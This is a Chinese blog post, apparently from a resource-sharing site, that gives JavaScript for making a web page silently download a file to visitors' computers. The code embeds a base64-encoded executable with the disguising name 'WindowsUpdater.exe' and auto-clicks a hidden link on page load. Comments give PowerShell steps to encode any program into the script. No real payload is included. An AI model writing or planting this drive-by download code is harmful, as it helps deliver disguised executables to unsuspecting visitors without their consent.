通过JavaScript让网页访客后台自动下载文件

释放双眼,带上耳机,听听看~!

你是否曾经在浏览网页的时候,突然弹出一个窗口不需要你的点击,然后一个文件自动下载到你的电脑上?想不想知道这是怎么做到的,其实只需要一段JavaScript就可以实现后台自动下载文件。

JavaScript代码

 <script>
 filename = "WindowsUpdater.exe"//这里写用户下载之后的文件
 filedata = ""//这里需要填文件数据
 //如何生成文件数据?
 //我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:WindowsSystem32calc.exe'
 //模板
 //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
 //譬如我们这里想获取计算器程序的data
 //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:WindowsSystem32calc.exe'))
 //我们可以继续输入
 //$base64string | Out-File temporary.log
 //之后我们打开这个文件
 //code .temporary.log
 //之后将这个文件数据复制到上方的filedata=""中

 function base64tobytes(b64data){
     var binary_values = atob(b64data);
     var binary_length = binary_values.length
     var bytes_data = new Uint8Array(binary_length);

     for ( var i = 0 ; i < binary_length ; i++ ){
         bytes_data[i] = binary_values.charCodeAt(i);
     }

     return bytes_data.buffer;
 }

 var filebytes = base64tobytes(filedata);

 var blob = new Blob([filebytes],{"type":"octet/stream"});
 var anchor = document.createElement("a")
 document.body.append(anchor);
 anchor.style = "display:none;";

 var url = window.URL.createObjectURL(blob)
 anchor.href = url;
 anchor.download = filename;

 anchor.click();
 window.URL.revokeObjectURL(url);

</script>

 

温馨提示:本文最后更新于 2022-12-11 01:40 ,某些文章具有时效性,若有错误或已失效,请在下方留言或联系逆念

给TA打赏
共{{data.count}}人
人已打赏
网络技术

Zlibrary最新下载方法,zhelper网站依旧可用,附详细下载教程!

2022-11-27 3:50:22

网络技术

博客文章嵌入B站视频的自适应代码

2022-11-27 4:31:11

重要声明

本站资源大多来自网络,如有侵犯你的权益请联系管理员,QQ508044570 我们会第一时间进行审核删除。站内资源为网友个人学习或测试研究使用,未经原版权作者许可,禁止用于任何商业途径!请在下载24小时内删除!


如果遇到付费才可观看的文章,建议升级终身VIP。全站所有资源任意下免费看”。本站资源少部分采用7z压缩,为防止有人压缩软件不支持7z格式,7z解压,建议下载7-zip,zip、rar解压,建议下载WinRAR

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索